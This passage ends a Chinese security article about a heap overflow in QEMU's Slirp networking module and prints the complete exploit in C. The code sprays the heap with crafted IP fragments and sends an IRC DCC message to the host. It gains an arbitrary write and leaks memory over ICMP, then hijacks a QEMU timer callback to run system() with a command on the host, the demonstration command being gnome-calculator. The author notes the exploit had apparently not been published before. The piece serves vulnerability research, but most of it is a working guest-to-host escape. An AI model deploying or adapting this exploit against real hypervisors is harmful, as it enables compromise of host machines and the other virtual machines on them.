opaque = ts->opaque;
cb(opaque);
progress = true;
}
......
}

当expire_time为0的时候,即可触发调用,所以伪造QEMUTimer和QEMUTimerList结构体,并通过任意写令main_loop_tlg数组中的指针指向伪造的QEMUTimerList结构体,当程序流进入timerlist_run_timers时,则会判断expire_time == 0后对函数指针cb进行调用,又能控制参数。

 

总结

1、当前的Exp应该还没有公开Exp,虽然难度不高,但是我只在自己一个复现环境中利用成功过,不保证其他环境也能利用成功。

2、Slirp模块中我复现的几个洞都是差不多的类型,基本上都是缓冲区溢出造成的问题,剩下的信息泄漏和程序流劫持都是模版。

 

完整Exploit

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h> // close()
#include <assert.h>
#include <string.h> // strcpy, memset(), and memcpy()

#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket(), uint8_t, uint16_t, uint32_t
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN
#include <netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h> // struct icmp, ICMP_ECHO
#define __FAVOR_BSD // Use BSD format of tcp header
#include <netinet/tcp.h> // struct tcphdr
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <linux/if_ether.h> // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD
#include <linux/if_packet.h> // struct sockaddr_ll (see man 7 packet)
#include <net/ethernet.h>
#include <sys/time.h> // gettimeofday()

#include <errno.h> // errno, perror()

#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define TCP_HDRLEN 20 // TCP header length, excludes options data
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data

uint16_t g_spray_ip_id;
size_t heap_base,text_base;
struct ip_packet_info {
uint16_t ip_id; // IP序列号
uint16_t ip_off; // 片偏移
bool MF; // Flags
uint8_t ip_p; // 协议包类型
uint32_t ip_src;
uint32_t ip_dst;
};

void errExit(char *string)
{
perror(string);
exit(EXIT_FAILURE);
}

uint16_t checksum(uint16_t *addr, int len) {
int count = len;
register uint32_t sum = 0;
uint16_t answer = 0;

while (count > 1) {
sum += *(addr++);
count -= 2;
}
if (count > 0) {
sum += *(uint8_t *)addr;
}
while (sum >> 16) {
sum = (sum & 0xffff) + (sum >> 16);
}
answer = ~sum;
return (answer);
}


uint16_t icmp4_checksum(struct icmp icmphdr, uint8_t *payload, int payloadlen) {
char buf[IP_MAXPACKET];
char *ptr;
int chksumlen = 0;
int i;

ptr = &buf[0]; // ptr points to beginning of buffer buf

// Copy Message Type to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_type, sizeof(icmphdr.icmp_type));
ptr += sizeof(icmphdr.icmp_type);
chksumlen += sizeof(icmphdr.icmp_type);

// Copy Message Code to buf (8 bits)
memcpy(ptr, &icmphdr.icmp_code, sizeof(icmphdr.icmp_code));
ptr += sizeof(icmphdr.icmp_code);
chksumlen += sizeof(icmphdr.icmp_code);

// Copy ICMP checksum to buf (16 bits)
// Zero, since we don't know it yet
*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

// Copy Identifier to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_id, sizeof(icmphdr.icmp_id));
ptr += sizeof(icmphdr.icmp_id);
chksumlen += sizeof(icmphdr.icmp_id);

// Copy Sequence Number to buf (16 bits)
memcpy(ptr, &icmphdr.icmp_seq, sizeof(icmphdr.icmp_seq));
ptr += sizeof(icmphdr.icmp_seq);
chksumlen += sizeof(icmphdr.icmp_seq);

// Copy payload to buf
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// Pad to the next 16-bit boundary
for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}


uint16_t tcp4_checksum(struct ip iphdr, struct tcphdr tcphdr, uint8_t *payload,
int payloadlen) {
uint16_t svalue;
char buf[IP_MAXPACKET], cvalue;
char *ptr;
int i, chksumlen = 0;

ptr = &buf[0];

memcpy(ptr, &iphdr.ip_src.s_addr, sizeof(iphdr.ip_src.s_addr));
ptr += sizeof(iphdr.ip_src.s_addr);
chksumlen += sizeof(iphdr.ip_src.s_addr);

memcpy(ptr, &iphdr.ip_dst.s_addr, sizeof(iphdr.ip_dst.s_addr));
ptr += sizeof(iphdr.ip_dst.s_addr);
chksumlen += sizeof(iphdr.ip_dst.s_addr);

*ptr = 0;
ptr++;
chksumlen += 1;

memcpy(ptr, &iphdr.ip_p, sizeof(iphdr.ip_p));
ptr += sizeof(iphdr.ip_p);
chksumlen += sizeof(iphdr.ip_p);

svalue = htons(sizeof(tcphdr) + payloadlen);
memcpy(ptr, &svalue, sizeof(svalue));
ptr += sizeof(svalue);
chksumlen += sizeof(svalue);

memcpy(ptr, &tcphdr.th_sport, sizeof(tcphdr.th_sport));
ptr += sizeof(tcphdr.th_sport);
chksumlen += sizeof(tcphdr.th_sport);

memcpy(ptr, &tcphdr.th_dport, sizeof(tcphdr.th_dport));
ptr += sizeof(tcphdr.th_dport);
chksumlen += sizeof(tcphdr.th_dport);

memcpy(ptr, &tcphdr.th_seq, sizeof(tcphdr.th_seq));
ptr += sizeof(tcphdr.th_seq);
chksumlen += sizeof(tcphdr.th_seq);

memcpy(ptr, &tcphdr.th_ack, sizeof(tcphdr.th_ack));
ptr += sizeof(tcphdr.th_ack);
chksumlen += sizeof(tcphdr.th_ack);

cvalue = (tcphdr.th_off << 4) + tcphdr.th_x2;
memcpy(ptr, &cvalue, sizeof(cvalue));
ptr += sizeof(cvalue);
chksumlen += sizeof(cvalue);

memcpy(ptr, &tcphdr.th_flags, sizeof(tcphdr.th_flags));
ptr += sizeof(tcphdr.th_flags);
chksumlen += sizeof(tcphdr.th_flags);

memcpy(ptr, &tcphdr.th_win, sizeof(tcphdr.th_win));
ptr += sizeof(tcphdr.th_win);
chksumlen += sizeof(tcphdr.th_win);

*ptr = 0;
ptr++;
*ptr = 0;
ptr++;
chksumlen += 2;

memcpy(ptr, &tcphdr.th_urp, sizeof(tcphdr.th_urp));
ptr += sizeof(tcphdr.th_urp);
chksumlen += sizeof(tcphdr.th_urp);

memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

for (i = 0; i < payloadlen % 2; i++, ptr++) {
*ptr = 0;
ptr++;
chksumlen++;
}

return checksum((uint16_t *)buf, chksumlen);
}

void hexdump(const char *desc, void *addr, int len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char *)addr;

// Output description if given.
if (desc != NULL)
printf("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n", len);
return;
}

// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf(" %s\n", buff);
// Output the offset.
printf(" %04x ", i);
}
// Now the hex code for the specific character.
printf(" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf(" ");
i++;
}
// And print the final ASCII bit.
printf(" %s\n", buff);
}

void sendPacket(struct ip_packet_info *info, uint8_t *data, uint32_t data_len)
{
const int on = 1;
char *interface, *src_ip, *dst_ip;
unsigned char *packet;
struct ip ipHeader;
struct sockaddr_in sin;
struct ifreq ifr;
struct in_addr sock_addr;
packet = (uint8_t*)calloc(1,IP_MAXPACKET);
interface = (int8_t *)calloc(1,40);
src_ip = (int8_t *)calloc(1,INET_ADDRSTRLEN);
dst_ip = (int8_t *)calloc(1,INET_ADDRSTRLEN);

strcpy(interface, "enp0s3");
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPPROTO_RAW: 只能发送IP包
int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd < 0) errExit("socket() failed to get socket descriptor for using ioctl()");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
// 查询网卡 interface index,用于后续socket 绑定网卡
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) errExit("ioctl() failed to find interface.");
close(fd);

ipHeader.ip_hl = IP4_HDRLEN / sizeof(uint32_t); // IP_Header_LEN
ipHeader.ip_v = 4; // Protocol Type: IPV4
ipHeader.ip_tos = 0; // Type Of Service
ipHeader.ip_len = htons(IP4_HDRLEN + data_len); // Total Length
ipHeader.ip_id = htons(info->ip_id); // ID sequence number

// FLAGS: 长度为 3Bit
// 字段中第一位不使用
// 第二位是DF(Don't Fragment),若为1,当前数据包不可分片
// 第三位是MF(More Fragments),MF = 0 指最后一个分片

// Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.
ipHeader.ip_off = htons((((uint16_t)info->MF << 13) | (info->ip_off >> 3)));

ipHeader.ip_ttl = 0xFF; // Time-to-Live,默认最大值255
ipHeader.ip_p = info->ip_p; // 传输协议包类型

// inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数"
if (( inet_pton(AF_INET, src_ip, &(ipHeader.ip_src)) |
inet_pton(AF_INET, dst_ip, &(ipHeader.ip_dst)) |
inet_pton(AF_INET, dst_ip, &sock_addr) )!= 1) errExit("inet_pton() failed.");

ipHeader.ip_sum = checksum((uint16_t *)&ipHeader, IP4_HDRLEN); // Calculate IP_Header Checksum

// 构造IPV4 Packet 用于发送
memcpy(packet, &ipHeader, IP4_HDRLEN);
memcpy(packet + IP4_HDRLEN, data, data_len);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = sock_addr.s_addr;

// 创造一个socket 只用于发送IP包
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) errExit("socket() failed.");

// 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) errExit("setsockopt() failed to set IP_HDRINCL ");

// 绑定上述Socket 到网卡`ifr.ifr_name`接口
if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) errExit("setsockopt() failed to bind to interface ");

// 通过上述Socket向网卡中发送构造的IPV4的数据包
if (sendto(fd, packet, IP4_HDRLEN + data_len, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) errExit("sendto() failed ");

close(fd);
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
puts("====================== Send Packet Done! ======================");
}

int connect_with(char *ip,uint16_t port)
{

int fd = socket(AF_INET,SOCK_STREAM, 0);
if(fd < 0){
errExit("Socket");
}
struct sockaddr_in tcp_socket;
tcp_socket.sin_family = AF_INET;
tcp_socket.sin_port = htons(port);
tcp_socket.sin_addr.s_addr = inet_addr(ip);

if (connect(fd, (struct sockaddr *) &tcp_socket, sizeof(struct sockaddr_in)) != 0) errExit("connect");

return fd;
}


// heapSpray函数用于清空堆块列表
void heapSpray(int size, uint16_t ip_id)
{
const int on = 1;
char *interface, *src_ip, *dst_ip;
unsigned char *packet;
char *payload;
int payload_len,i;
struct ip ipHeader;
struct tcphdr tcpHeader;
struct sockaddr_in sin;
struct ifreq ifr;

packet = (uint8_t*)calloc(1,IP_MAXPACKET);
interface = (int8_t *)calloc(1,40);
src_ip = (int8_t *)calloc(1,INET_ADDRSTRLEN);
dst_ip = (int8_t *)calloc(1,INET_ADDRSTRLEN);
payload = (int8_t *)calloc(1,IP_MAXPACKET);

assert(size >= 0x54);
payload_len = size - 0x54;
strcpy(interface, "enp0s3");
strcpy(src_ip, "127.0.0.1");
strcpy(dst_ip, "127.0.0.1");

// IPPROTO_RAW: 只能发送IP包
int32_t fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (fd < 0) errExit("socket() failed to get socket descriptor for using ioctl()");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
// 查询网卡 interface index,用于后续socket 绑定网卡
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) errExit("ioctl() failed to find interface.");
close(fd);

ipHeader.ip_hl = IP4_HDRLEN / sizeof(uint32_t); // IP_Header_LEN
ipHeader.ip_v = 4; // Protocol Type: IPV4
ipHeader.ip_tos = 0; // Type Of Service
ipHeader.ip_len = htons(IP4_HDRLEN + TCP_HDRLEN + payload_len); // Total Length
ipHeader.ip_id = htons(ip_id); // ID sequence number

// FLAGS: 长度为 3Bit
// 字段中第一位不使用
// 第二位是DF(Don't Fragment),若为1,当前数据包不可分片
// 第三位是MF(More Fragments),MF = 0 指最后一个分片

// Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.
ipHeader.ip_off = htons((1 << 13));

ipHeader.ip_ttl = 0xFF; // Time-to-Live,默认最大值255
ipHeader.ip_p = IPPROTO_TCP; // 传输协议包类型

// inet_pton: 函数转换字符串到网络地址,"点分十进制" -> "二进制整数"
if (( inet_pton(AF_INET, src_ip, &(ipHeader.ip_src)) |
inet_pton(AF_INET, dst_ip, &(ipHeader.ip_dst)) )!= 1) errExit("inet_pton() failed.");

ipHeader.ip_sum = checksum((uint16_t *)&ipHeader, IP4_HDRLEN); // Calculate IP_Header Checksum

/*****************************************************/
tcpHeader.th_sport = htons(60); // Source port number
tcpHeader.th_dport = htons(80); // Destination port number
tcpHeader.th_seq = htonl(0); // TCP Sequence number
tcpHeader.th_ack = htonl(0); // Acknowledgement number
tcpHeader.th_x2 = 0; // Reserved
tcpHeader.th_off = TCP_HDRLEN / 4;

int tcp_flags[8];
// Flags (8 bits)
// FIN flag (1 bit)
tcp_flags[0] = 0;
// SYN flag (1 bit)
tcp_flags[1] = 0;
// RST flag (1 bit)
tcp_flags[2] = 0;
// PSH flag (1 bit)
tcp_flags[3] = 1;
// ACK flag (1 bit)
tcp_flags[4] = 1;
// URG flag (1 bit)
tcp_flags[5] = 0;
// ECE flag (1 bit)
tcp_flags[6] = 0;
// CWR flag (1 bit)
tcp_flags[7] = 0;
for (i = 0; i < 8; i++) {
tcpHeader.th_flags += (tcp_flags[i] << i);
}

tcpHeader.th_win = htons(0xFFFF); // Window size
tcpHeader.th_urp = htons(0); // Urgent pointer
// TCP checksum (16 bits)
tcpHeader.th_sum = tcp4_checksum(ipHeader, tcpHeader, (uint8_t *)payload, payload_len);

memcpy(packet, &ipHeader, IP4_HDRLEN);
memcpy(packet + IP4_HDRLEN, &tcpHeader, TCP_HDRLEN);
memcpy(packet + IP4_HDRLEN + TCP_HDRLEN, payload, payload_len);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ipHeader.ip_dst.s_addr;

// 创造一个socket 只用于发送IP包
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) errExit("socket() failed.");

// 设置 IP_HDRINCL,用于发送手动构造IP Header的IP包
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) errExit("setsockopt() failed to set IP_HDRINCL ");

// 绑定上述Socket 到网卡`ifr.ifr_name`接口
if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) errExit("setsockopt() failed to bind to interface ");

// 通过上述Socket向网卡中发送构造的IPV4的数据包
if (sendto(fd, packet, IP4_HDRLEN + TCP_HDRLEN + payload_len, 0,
(struct sockaddr *)&sin, sizeof(struct sockaddr)) < 0) errExit("sendto() failed ");

close(fd);
free(packet);
free(interface);
free(src_ip);
free(dst_ip);
free(payload);
}
void arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,
int write_data_len, int spray_times) {
struct ip_packet_info info;
int i;
assert(addr_len <= 8);
char *payload = calloc(1,0x2000);
memset(payload,'F',0x2000);
// 清空堆块
for (i = 0; i < spray_times; ++i) {
printf("Spraying Size = 0x2000, id: %d\n", i);
heapSpray(0x2000, g_spray_ip_id + i);
}
uint16_t new_ip_id = g_spray_ip_id + spray_times;

uint16_t forAllocVuln0 = new_ip_id++;
info.ip_id = forAllocVuln0;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload,8);

uint16_t forAllocVuln1 = new_ip_id++;
info.ip_id = forAllocVuln1;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload,8);

// 防止堆块和top_chunk合并
uint16_t target = new_ip_id++;
info.ip_id = target;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;

uint64_t fake_chunk[0x10];
i = 0;
fake_chunk[i++] = 0xA00;
fake_chunk[i++] = 0x20;
fake_chunk[i++] = 0xDEAD;
fake_chunk[i++] = 0xCAFE;
fake_chunk[i++] = 0x20;
fake_chunk[i++] = 0x2C1;
memcpy(payload + 0x2E0,(void*)fake_chunk,0x30);
sendPacket(&info,payload,0x310);

info.ip_id = new_ip_id++;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload,8);

info.ip_id = forAllocVuln1;
info.ip_off = 8;
info.MF = 0;
info.ip_p = 0xFF;
sendPacket(&info,payload,8); // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin
/************** Heap Layout Finished *****************/


int fd = connect_with("10.0.2.2",6667);
char s[0x30] = "DCC SEND TEST -1 -1 2333\0";
memset(payload,'F',0x1000);
memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s));
write(fd,payload,0x5AA);
memset(payload,'F',0x1000);

info.ip_id = forAllocVuln0;
info.ip_off = 8;
info.MF = 0;
info.ip_p = 0xFF;
sendPacket(&info,payload,8);

// padding
info.ip_id = new_ip_id++;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload,0x1020 - 0x670);

uint16_t vuln = new_ip_id++;
info.ip_id = vuln;
info.ip_off = 0;
info.ip_p = 0xFF;

i = 0;
uint64_t fake[0x20];
fake[i++] = 0;
fake[i++] = 0x675; // chunk size
fake[i++] = 0; // m_next
fake[i++] = 0; // m_prev
fake[i++] = 0; // m_nextpkt
fake[i++] = 0; // m_prevpkt
fake[i++] = ((size_t)0x608 << 32) | 0; // m_size << 32 | m_flags
fake[i++] = 0; // m_so
fake[i++] = addr; // m_data

memcpy(payload + 0x230,&fake,i*8);
if(addr_len < 8) {
info.MF = 1;
sendPacket(&info,payload,0x270);

info.ip_id = vuln;
info.ip_off = 0x270;
info.MF = 0;
info.ip_p = 0xFF;

sendPacket(&info,payload + 0x270,addr_len);
} else {
info.MF = 0;
sendPacket(&info,payload,0x278);
}

// padding
info.ip_id = new_ip_id++;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload, 0xC00);

info.ip_id = target;
info.ip_off = 0x310;
info.MF = 0;
info.ip_p = 0xFF;
sendPacket(&info,write_data,write_data_len);

close(fd);
free(payload);
}

void leak(uint64_t addr, int addr_len) {
struct ip_packet_info info;
int i,recvfd;
assert(addr_len <= 8);
char *payload = calloc(1,0x2000);
memset(payload,'F',0x2000);
// 清空堆块
for (i = 0; i < 0x20; ++i) {
printf("Spraying Size = 0x2000, id: %d\n", i);
heapSpray(0x2000, g_spray_ip_id + i);
}
uint16_t new_ip_id = g_spray_ip_id + 0x20;

uint16_t forAllocVuln0 = new_ip_id++;
info.ip_id = forAllocVuln0;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload,8);

uint16_t forAllocVuln1 = new_ip_id++;
info.ip_id = forAllocVuln1;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload,8);

// 防止堆块和top_chunk合并
uint16_t target = new_ip_id++;
info.ip_id = target;
info.ip_off = 0;
info.MF = 1;
info.ip_p = IPPROTO_ICMP;

uint64_t fake_chunk[0x10];
i = 0;
fake_chunk[i++] = 0xA00;
fake_chunk[i++] = 0x20;
fake_chunk[i++] = 0xDEAD;
fake_chunk[i++] = 0xCAFE;
fake_chunk[i++] = 0x20;
fake_chunk[i++] = 0x2C1;
memcpy(payload + 0x2E0,(void*)fake_chunk,0x30);
sendPacket(&info,payload,0x310);

info.ip_id = new_ip_id++;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload,8);

info.ip_id = forAllocVuln1;
info.ip_off = 8;
info.MF = 0;
info.ip_p = 0xFF;
sendPacket(&info,payload,8); // 结束 Vuln1 请求,将0xCE0大小的堆块进入unsorted bin
/************** Heap Layout Finished *****************/


int fd = connect_with("10.0.2.2",6667);
char s[0x30] = "DCC SEND TEST -1 -1 2333\0";
memset(payload,'F',0x1000);
memcpy(payload + 0x5AA - strlen(s) ,s,strlen(s));
write(fd,payload,0x5AA);
memset(payload,'F',0x1000);

info.ip_id = forAllocVuln0;
info.ip_off = 8;
info.MF = 0;
info.ip_p = 0xFF;
sendPacket(&info,payload,8);

// padding
info.ip_id = new_ip_id++;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;
sendPacket(&info,payload,0x1020 - 0x670);

uint16_t vuln = new_ip_id++;
info.ip_id = vuln;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;

i = 0;
uint64_t fake[0x20];
fake[i++] = 0;
fake[i++] = 0x675; // chunk size
fake[i++] = 0; // m_next
fake[i++] = 0; // m_prev
fake[i++] = 0; // m_nextpkt
fake[i++] = 0; // m_prevpkt
fake[i++] = ((size_t)0x608 << 32) | 0; // m_size << 32 | m_flags
fake[i++] = 0; // m_so
fake[i++] = addr; // m_data

memcpy(payload + 0x230,&fake,i*8);
sendPacket(&info,payload,0x270);

info.ip_id = vuln;
info.ip_off = 0x270;
info.MF = 0;
info.ip_p = 0xFF;

sendPacket(&info,payload + 0x270,addr_len);

// padding
info.ip_id = new_ip_id++;
info.ip_off = 0;
info.MF = 1;
info.ip_p = 0xFF;

sendPacket(&info,payload, 0xC00);

info.ip_id = target;
info.ip_off = 0x310;
info.MF = 0;
info.ip_p = IPPROTO_ICMP;

recvfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); // 需要放置在 结束ICMP请求之前

sendPacket(&info,payload,0);

/**************************/
int bytes, status;
struct ip *recv_iphdr;
struct icmp *recv_icmphdr;
uint8_t recv_ether_frame[IP_MAXPACKET];
struct sockaddr from;
socklen_t fromlen;
struct timeval wait;

wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait, sizeof(struct timeval));
recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
while (1) {
memset(recv_ether_frame, 0, IP_MAXPACKET);
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvfd, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
status = errno;
if (status == EAGAIN) { // EAGAIN = 11
errExit("No reply");
} else if (status == EINTR) { // EINTR = 4
continue;
} else {
errExit("recvfrom() failed ");
}
}
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) &&
(recv_iphdr->ip_p == IPPROTO_ICMP) &&
(recv_icmphdr->icmp_type == ICMP_ECHOREPLY)) {
if (bytes < 0x200) continue;
hexdump("ping recv", recv_ether_frame, bytes);
text_base = ((*(uint64_t *)(recv_ether_frame + 0x60)) - 0x4584C2) & ~0xFFF;
heap_base = (*(uint64_t *)(recv_ether_frame + 0x48)) & ~0xFFFFFF;
printf("TEXT BASE: %#lX\n"
"HEAP BASE: %#lX\n",
text_base, heap_base);
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}

close(fd);
close(recvfd);
free(payload);
puts("=================== Leak Finished! ====================");

}
const char eth_frame[0x10] = {
// Ethernet Frame Header Data
// DST MAC 52:54:00:12:34:56
0x52, 0x54, 0x00, 0x12, 0x34, 0x56,
// SRC MAC 52:54:00:12:34:56
0x52, 0x54, 0x00, 0x12, 0x34, 0x56,
// Length / Type: IPv4
0x08, 0x00
};

const char exec_cmd[] = "/usr/bin/gnome-calculator";
int main()
{
struct icmp *icmpHeader;
struct ip *ipHeader;
uint8_t eth_packet[IP_MAXPACKET];
char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];
int status;

memcpy(eth_packet, eth_frame, ETH_HDRLEN);
ipHeader = (struct ip *)(eth_packet + ETH_HDRLEN);

strcpy(src_ip, "10.0.2.15");
strcpy(dst_ip, "10.0.2.2");

ipHeader->ip_hl = IP4_HDRLEN / sizeof(uint32_t); // IP_Header_LEN
ipHeader->ip_v = 4; // Protocol Type: IPV4
ipHeader->ip_tos = 0; // Type Of Service
ipHeader->ip_len = (ICMP_HDRLEN); // Total Length
ipHeader->ip_id = 0xCDCD; // ID sequence number

// FLAGS: 长度为 3Bit
// 字段中第一位不使用
// 第二位是DF(Don't Fragment),指明当前的packet包是否是不可分片的
// 第三位是MF(More Fragments),指明当前的包是否是分片序列的最后一个,MF = 0则是最后一个包

// Fragment Offset: 长度13Bit,表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包.
ipHeader->ip_off = 0;
ipHeader->ip_ttl = 0xFF; // Time-to-Live,默认最大值255
ipHeader->ip_p = IPPROTO_ICMP; // 传输协议包类型
if (( inet_pton(AF_INET, src_ip, &(ipHeader->ip_src)) |
inet_pton(AF_INET, dst_ip, &(ipHeader->ip_dst)) )!= 1) errExit("inet_pton() failed.");
ipHeader->ip_sum = checksum((uint16_t *)&ipHeader, IP4_HDRLEN); // Calculate IP_Header Checksum

icmpHeader = (struct icmp *)(eth_packet + ETH_HDRLEN + IP4_HDRLEN);
icmpHeader->icmp_type = ICMP_ECHO;
icmpHeader->icmp_code = 0; // Message Code
icmpHeader->icmp_id = htons(1000); // Identifier
icmpHeader->icmp_seq = htons(0); // Sequence Number
icmpHeader->icmp_cksum = icmp4_checksum(*icmpHeader, eth_packet, 0); // ICMP Checksum

// 向 0x*000B00处写入 ETH Packet
memcpy(eth_packet + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN, exec_cmd,
strlen(exec_cmd) + 1);
g_spray_ip_id = 0xAABB;
arbitrary_write(
0x000B00 - 0x310, 3, eth_packet,
ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN + strlen(exec_cmd) + 1, 0x100); // 将伪造的ICMP包和参数写入到某处确定地址
g_spray_ip_id = 0xBBCC;
leak(0x000B00 + IP4_HDRLEN + ETH_HDRLEN,3);

/********************** Leak Finished *****************************/

size_t *fake_timer_list = (uint64_t *)calloc(1,0x200);
size_t fake_timer_list_ptr = heap_base + 0x1000;
fake_timer_list[0] = text_base + 0xE40D40; // qemu_clocks
fake_timer_list[7] = 0x0000000100000000;
fake_timer_list[8] = fake_timer_list_ptr + 0x70; // active_timers -> fake_QEMUTimer
fake_timer_list[9] = 0;
fake_timer_list[10] = 0;
fake_timer_list[11] = text_base + 0x2E5C41; // qemu_timer_notify_cb
fake_timer_list[12] = 0;
fake_timer_list[13] = 0x0000000100000000;

// following is fake_QEMUTimer
fake_timer_list[14] = 0; // expire_time set to 0 will trigger func cb
fake_timer_list[15] = fake_timer_list_ptr;
fake_timer_list[16] = text_base + 0x28E280; // system
fake_timer_list[17] = heap_base + 0xB00 + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN; // cmd的地址
fake_timer_list[18] = 0;
fake_timer_list[19] = 0x000F424000000000;

g_spray_ip_id = 0xCCDD;
arbitrary_write(fake_timer_list_ptr - 0x310, 8, (void*)fake_timer_list, 0xA0, 0x30);

size_t TMP = fake_timer_list_ptr;
g_spray_ip_id = 0xDDBB;
size_t main_loop_tlg = text_base + 0xE40D20;
arbitrary_write(main_loop_tlg - 0x310, 8, (void*)&TMP, 8, 0x30);
}

本文由星阑科技原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/263888

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
星阑科技
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66